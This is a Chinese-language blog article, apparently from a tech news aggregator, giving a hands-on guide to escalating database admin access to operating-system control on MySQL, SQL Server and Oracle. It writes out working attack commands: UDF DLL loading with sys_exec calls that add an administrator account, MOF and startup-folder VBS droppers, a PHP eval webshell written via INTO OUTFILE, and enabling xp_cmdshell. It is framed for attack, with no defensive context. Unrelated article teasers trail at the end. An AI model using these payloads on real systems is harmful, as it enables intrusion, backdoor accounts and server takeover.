news 2026/6/15 9:15:58

数据库提权实战指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
数据库提权实战指南
概述 (Overview)

当获得数据库的高权限访问(如 MySQL 的 root、SQL Server 的 sa、Oracle 的 SYSDBA)后,可以利用数据库自身提供的功能(如用户自定义函数 UDF、存储过程、外部命令执行接口等)或漏洞,在数据库服务器所在的操作系统上执行命令或获取 Shell,从而将数据库权限提升为操作系统权限。

MySQL 提权
  1. 获取 MySQL 账号密码 (Gaining Credentials)

    • Web 应用配置文件: 查找常见的配置文件名 (config.php,database.yml,web.config,conn.inc等) 读取数据库连接字符串。
    • 暴力破解: 如果 MySQL 端口 (默认 3306) 对外开放,使用 Hydra, Medusa, Nmap NSE 脚本等进行在线爆破。
    • 读取物理文件 (需 OS 权限): 读取 MySQL 数据目录下的mysql/user.MYD文件(包含用户信息,密码为 HASH),需离线破解。
    • 嗅探: 在网络中嗅探未加密的 MySQL 连接。
    • 其他漏洞: 利用 Web 应用漏洞(如 SQL 注入、文件读取)获取凭据。
    • 开启远程访问 (需要 root 权限):
      GRANTALLPRIVILEGESON*.*TO'root'@'%'IDENTIFIEDBY'your_password';FLUSHPRIVILEGES;
  2. 利用 UDF (User-Defined Functions) 提权

    • 原理: 创建一个自定义函数(通常用 C/C++ 编写并编译为共享库.so.dll),该函数可以调用系统命令。然后通过 SQL 语句调用这个 UDF 函数。
    • 利用条件:
      • 获取了 MySQL 的高权限账户(如 root),至少有INSERT,DELETE权限和CREATE FUNCTION权限。
      • 知道 MySQL 的插件目录 (plugin_dir) 路径,并且该目录或其上级目录对 MySQL 进程可写(或能通过其他方式将 DLL/SO 文件写入)。
      • (Windows) 可能需要绕过 AppArmor/SELinux 等安全限制。
    • 步骤 (以 Windows DLL 为例):
      1. 确定插件目录:show variables like '%plugin_dir%';
      2. 准备 UDF 库: 获取预编译的udf.dll(如lib_mysqludf_sys提供的sys_exec,sys_eval) 或自行编译。
      3. 上传/写入 DLL:
        • 如果plugin_dir可直接写入,使用SELECT ... INTO DUMPFILE将 DLL 的十六进制内容写入。
        • 如果目录不存在或不可写,尝试利用 NTFS ADS 流创建目录:
          -- 假设插件目录是 C:\mysql\lib\plugin\-- (注意:这种方法可能不可靠或已被修复)select'data'intodumpfile'C:\\mysql\\lib::$INDEX_ALLOCATION';select'data'intodumpfile'C:\\mysql\\lib\\plugin::$INDEX_ALLOCATION';-- 然后再尝试写入 DLLselect0x4D5A90...intodumpfile'C:\\mysql\\lib\\plugin\\udf.dll';
        • 更好的方法是利用其他漏洞(如文件上传)或 OS 权限将 DLL 放入插件目录。
        • 旧版本路径: MySQL < 5.1 可能尝试写入C:\Windows\System32C:\Winnt\System32
      4. 创建函数:
        CREATEFUNCTIONsys_execRETURNSSTRINGSONAME'udf.dll';-- (或对应的 .so 文件)
      5. 执行命令:
        SELECTsys_exec('net user hacker hacker /add');SELECTsys_exec('net localgroup administrators hacker /add');
      6. 清理:
        DROPFUNCTIONsys_exec;-- (可选) 删除 DLL 文件
    • 自动化工具: “MySQL 综合利用工具” 等图形化工具简化了此过程。
  3. 利用 MOF (Managed Object Format) 提权 (Windows)

    • 原理: Windows Management Instrumentation (WMI) 会周期性地编译C:\Windows\System32\wbem\mof\目录下的.mof文件,并以 SYSTEM 权限执行其中定义的 WMI 事件消费者。可以通过构造恶意的.mof文件(定义一个执行命令的消费者)并将其写入该目录来实现提权。
    • 利用条件:
      • 获取了 MySQL 的FILE权限(通常 root 有)。
      • MySQL 配置未启用secure-file-priv或其允许写入wbem/mof目录。
      • 目标是 Windows 系统。
    • 步骤:
      1. 准备 MOF 文件: 编写一个.mof文件,其内容定义一个 WMI 事件过滤器和消费者,消费者执行恶意命令(如添加用户)。网上有现成的模板。
      2. 上传 MOF 文件: 将.mof文件上传到服务器的可写目录(如C:\wmpub\evil.mof)。
      3. 写入 MOF 目录: 使用SELECT ... INTO DUMPFILE将 MOF 文件内容写入目标目录。
        SELECTLOAD_FILE('C:/wmpub/evil.mof')INTODUMPFILE'C:/Windows/System32/wbem/mof/evil.mof';
      4. 等待执行: WMI 会自动编译并执行该 MOF 文件中的指令(通常很快)。
      5. 验证: 检查命令是否已执行(如net user查看是否添加了用户)。
    • 风险: MOF 文件会被周期性执行,可能导致重复添加用户等问题。需要设计好 MOF 文件或及时清理。
  4. 利用SELECT ... INTO OUTFILE/DUMPFILE写文件

    • 原理: 直接利用FILE权限将恶意内容写入特定位置的文件,实现代码执行或配置修改。
    • 写入启动项 (VBS 示例):
      -- 创建临时表存储 VBS 代码行CREATETABLEtemp_vbs(lineTEXT);INSERTINTOtemp_vbsVALUES('Set wshshell = CreateObject("WScript.Shell")');INSERTINTOtemp_vbsVALUES('a = wshshell.run("cmd.exe /c net user hacker hacker /add", 0)');INSERTINTOtemp_vbsVALUES('b = wshshell.run("cmd.exe /c net localgroup Administrators hacker /add", 0)');-- 将表内容导出为 VBS 文件到启动目录SELECTlineFROMtemp_vbsINTOOUTFILE'C:/Documents and Settings/Administrator/Start Menu/Programs/Startup/evil.vbs';-- (路径可能因系统版本和用户名而异)DROPTABLEtemp_vbs;
      • 触发: 需要等待用户下次登录或系统重启。
    • 写入 WebShell: 如果知道 Web 目录路径且有权限,可以直接写入 WebShell。
      SELECT'<?php @eval($_POST["cmd"]);?>'INTOOUTFILE'/var/www/html/shell.php';
SQL Server (MSSQL) 提权
  • 前提: 通常需要sa(System Administrator) 权限或具有CONTROL SERVER权限的用户。
  • 常用方法:
    1. xp_cmdshell:
      • 原理: 内建的扩展存储过程,允许执行操作系统命令。默认可能被禁用。
      • 启用:
        -- 启用高级选项EXECsp_configure'show advanced options',1;RECONFIGURE;-- 启用 xp_cmdshellEXECsp_configure'xp_cmdshell',1;RECONFIGURE;
      • 执行命令:EXEC master..xp_cmdshell 'whoami';
      • 执行权限: 通常以 SQL Server 服务账户的权限运行。如果服务账户是高权限用户(如 LocalSystem, NetworkService 或配置的域用户),即可提权。
    2. 沙盒提权 (SQL Server 2005+): 利用 CLR 集成、OLE Automation Objects (sp_OACreate,sp_OAMethod) 等执行 OS 命令。
    3. 其他存储过程/功能: 如涉及文件系统操作、注册表操作的存储过程。
  • 获取凭据:
    • 查找 Web 应用配置文件 (web.config等)。
    • 暴力破解 (端口 1433)。
    • 嗅探。
  • 自动化工具: SQLTools, Metasploit 相关模块 (admin/mssql/mssql_enum,exploit/windows/mssql/mssql_payload等)。
Oracle 提权
  • 前提: 通常需要SYSDBA,DBA权限或具有特定权限(如CREATE ANY PROCEDURE,CREATE LIBRARY,EXECUTE ON JAVA.LANG.RUNTIME)的用户。
  • 常用方法:
    1. Java Stored Procedures:
      • 原理: Oracle 支持使用 Java 编写存储过程。可以编写一个调用java.lang.Runtime.getRuntime().exec()的 Java 存储过程来执行 OS 命令。
      • 需要权限:CREATE PROCEDURE,EXECUTE ON JAVA.LANG.RUNTIME
    2. External Procedures (extproc):
      • 原理: 调用在操作系统上编译的外部共享库 (.so/.dll) 中的函数。需要配置listener.oratnsnames.ora。可以编写一个执行命令的外部库。
    3. Scheduler Jobs: 创建一个数据库作业 (Job),使其执行包含 OS 命令的 PL/SQL 块或调用上述 Java/External Procedure。
    4. PL/SQL 包: 利用UTL_FILE(文件操作)、DBMS_XMLQUERY(可能触发 XXE 或 SSRF)、DBMS_ADVISOR.CREATE_FILE(写文件) 等包中的过程。
  • 获取凭据: Web 应用配置文件、默认口令 (如scott/tiger,sys/change_on_install)、暴力破解 (端口 1521)。
  • 自动化工具: OracleShell, Metasploit 相关模块。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/30 0:06:33

Glyph灾害预警系统:卫星云图推理部署实战

Glyph灾害预警系统&#xff1a;卫星云图推理部署实战 1. 为什么用Glyph做灾害预警&#xff1f; 你有没有想过&#xff0c;当台风正在海上生成、暴雨云团正快速向城市移动时&#xff0c;我们能不能让AI“看懂”卫星云图&#xff0c;提前几小时甚至一天发出精准预警&#xff1f…

作者头像 李华
网站建设 2026/6/10 12:30:37

fft npainting lama颜色失真问题解决方案汇总

FFT NPainting LaMa颜色失真问题解决方案汇总 在使用FFT NPainting LaMa图像修复系统进行内容移除、水印清除或瑕疵修复时&#xff0c;不少用户反馈修复后的图像出现明显的颜色偏移、色相异常、饱和度下降或灰蒙蒙的失真现象。这类问题并非模型本身崩溃或报错&#xff0c;而是…

作者头像 李华
网站建设 2026/5/30 10:11:37

科哥版CosyVoice2部署难?一键脚本快速启动教程

科哥版CosyVoice2部署难&#xff1f;一键脚本快速启动教程 你是不是也遇到过这样的情况&#xff1a;看到阿里开源的CosyVoice2-0.5B&#xff0c;被它“3秒克隆声音”“跨语种合成”“用四川话说”这些能力吸引得不行&#xff0c;可一打开GitHub仓库&#xff0c;满屏的conda in…

作者头像 李华
网站建设 2026/6/10 16:51:13

Qwen3-0.6B与Google Gemma-2B对比:小模型综合性能评测

Qwen3-0.6B与Google Gemma-2B对比&#xff1a;小模型综合性能评测 1. 小而精的新生代&#xff1a;Qwen3-0.6B初体验 Qwen3-0.6B是通义千问系列中最新发布的轻量级密集模型&#xff0c;参数量仅0.6B&#xff08;6亿&#xff09;&#xff0c;却在保持极低资源占用的同时&#x…

作者头像 李华
网站建设 2026/6/10 12:37:01

预训练音色无法选择?CosyVoice2模型模式使用误区解析

预训练音色无法选择&#xff1f;CosyVoice2模型模式使用误区解析 你是不是也遇到过这样的困惑&#xff1a;点开 CosyVoice2-0.5B 的 WebUI&#xff0c;看到“预训练音色”这个选项卡&#xff0c;满怀期待地点进去&#xff0c;却发现下拉菜单空空如也&#xff0c;或者只有寥寥一…

作者头像 李华
网站建设 2026/6/10 2:26:50

小白指南:Multisim14.0主数据库丢失应对策略

以下是对您提供的博文《小白指南:Multisim 14.0 主数据库丢失应对策略 —— 工程师级技术解析》的 深度润色与专业重构版本 。本次优化严格遵循您的全部要求: ✅ 彻底去除AI腔调与模板化结构(如“引言”“总结”“展望”等机械标题) ✅ 所有内容以真实工程师口吻自然展…

作者头像 李华